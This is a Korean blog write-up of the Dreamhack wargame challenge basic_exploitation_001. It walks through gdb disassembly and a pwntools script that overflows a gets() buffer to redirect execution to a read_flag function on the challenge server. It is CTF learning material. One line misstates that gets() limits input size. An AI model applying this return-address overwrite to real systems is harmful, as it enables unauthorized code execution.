Description
이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_001)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 "flag" 파일을 읽으세요.
"flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.
소스코드 분석
main()함수를 보면 gets(buf)함수가 존재한다.
gets()함수는 입력 크기 제한이 있어서 버퍼 오버플로우에 아주 취약한 함수임.
buf 크기는 0x80으로 128바이트임.
128바이트보다 더 긴 입력을 해서 리턴 주소를 덮어쓰면 될듯하다.
BOF 발생 가능 포인트
read_flag()는 메인함수에서 실행을 안하고 있는데, 이걸 실행시키면 cat flag가 실행돼서 flag를 얻을 수 있어보임.
BOF로 리턴주소값을 read_flag() 주소를 찾아 바꿔주면 된다.
Disassemble
# gdb로 basic_exploitation_001 실행
$ gdb -q ./basic_exploitation_001
#main함수 디스어셈블
pwndbg> disass main
버퍼 할당
add esp, 0xffffff80(-128) : esp를 0xffffff80(-128) 만큼 감소시킴.
그리고 buf는 [ebp-0x80]에 할당된다.
gets(buf)
lea eax,[ebp-0x80] : buf의 주소를 eax에 저장
push eax : buf의 주소를 스택에 push
call 0x80483d0 : gets(buf) 호출
Exploit
read_flag()주소 위치 찾기.
#gdb에서 read_flag()주소 찾기
pwndbg> info functions
read_flag 주소가 0x080485b9 로 뜬다.이제 리턴 주소만 이 값으로 채워주면된다.
Payload
from pwn import *
# 로컬 실행 및 원격 서버 연결
p = process('./basic_exploitation_001')
p = remote('host3.dreamhack.games', 14379)
# 버퍼 스택 주소 수신 후 저장
read_flag = p32(0x080485b9)
# 페이로드 구성
payload = b'A'*132
payload += read_flag
# 페이로드 전송 및 셸 획득
p.sendline(payload)
p.interactive()
버퍼 오버플로우에 성공하면 read_flag 함수가 실행되면서 바로 flag값이 뜬다.
'System Hacking > DreamHack' 카테고리의 다른 글
[Dreamhack] Return to Library (0) | 2025.03.21 |
---|---|
[Dreamhakck] ssp_001 (0) | 2025.03.20 |
[Dreamhack] basic_exploitation_000 (0) | 2025.03.13 |
[Dreamhack] Return Address Overwrite (0) | 2025.03.12 |
[Linux] Coredump 파일 없을 때 해결 방법/ Segmentation fault (core dumped) (0) | 2025.03.12 |